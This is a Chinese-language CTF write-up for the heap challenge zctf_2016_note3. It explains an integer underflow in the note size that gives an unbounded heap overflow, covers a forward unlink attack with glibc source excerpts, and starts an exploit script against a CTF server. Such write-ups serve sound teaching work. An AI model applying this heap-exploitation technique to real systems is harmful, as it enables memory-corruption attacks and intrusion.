zctf_2016_note3

前言

记录unlink技巧的前向合并。虽然本题是可以做到无限长度的写入内容，降低了前向合并攻击的难度。本文只是基于作者目前的知识，有不对的地方或者好的思路，欢迎各位师傅进行交流。

题目分析

按照惯例就是查保护，没有完全开启relro保护，估计是可以用hijcak got的。

ida静态分析一下，很常规的note管理，增删改。

• 添加note
  
  重点关注一下，在0x4008dd处的读取输入函数，因为a2是unsigned int类型的数据，也是我们传入的note的size，如果我们创建的是0byte大小的note，那么a2 - 1就是四字节能够表示的最大数，也就可以实现无限字节读入了。
  
• 修改note
  
• 删除note
  

思路&exp

前向unlink源码

• 对于前向合并，基本上没有什么检查，但是nextchunk是通过当前被free chunk的size找到的头部，所以需要修改当前被free chunk的size才能够让伪造的chunk 被unlink掉。
  nextchunk = chunk_at_offset(p, size);
  nextsize = chunksize(nextchunk);
  /* consolidate forward */ //前向合并
  if (!nextinuse) {
  unlink(av, nextchunk, bck, fwd);
  size += nextsize;
  }
• 在glibc-2.27以后，unlink 前向的时候还需要注意伪造pre_size字段。
  #define unlink(AV, P, BK, FD) {
  if (__builtin_expect (chunksize§ != prev_size (next_chunk§), 0))
  malloc_printerr (“corrupted size vs. prev_size”);

exp

可以通过创建0 size大小的note，来实现堆溢出写，从而修改后面chunk的结构。从而创建fake chunk，实现unlink attack。此处使用的是前向的unlink攻击。下面先贴出exp。

from pwncy import *
context(arch = "amd64",log_level = "debug")
p,elf,libc = load("zctf_2016_note3",remote_libc = "/home/tw0/Desktop/tool/buu_libc/x64/libc-2.23.so",ip_port = "node4.buuoj.cn:29605")

def cmd(choice):
	sla("option--->>\n",str(choice))
def create_note(size,content):
	cmd(1)
	sla("Input the length of the note content:(less than 1024)\n",str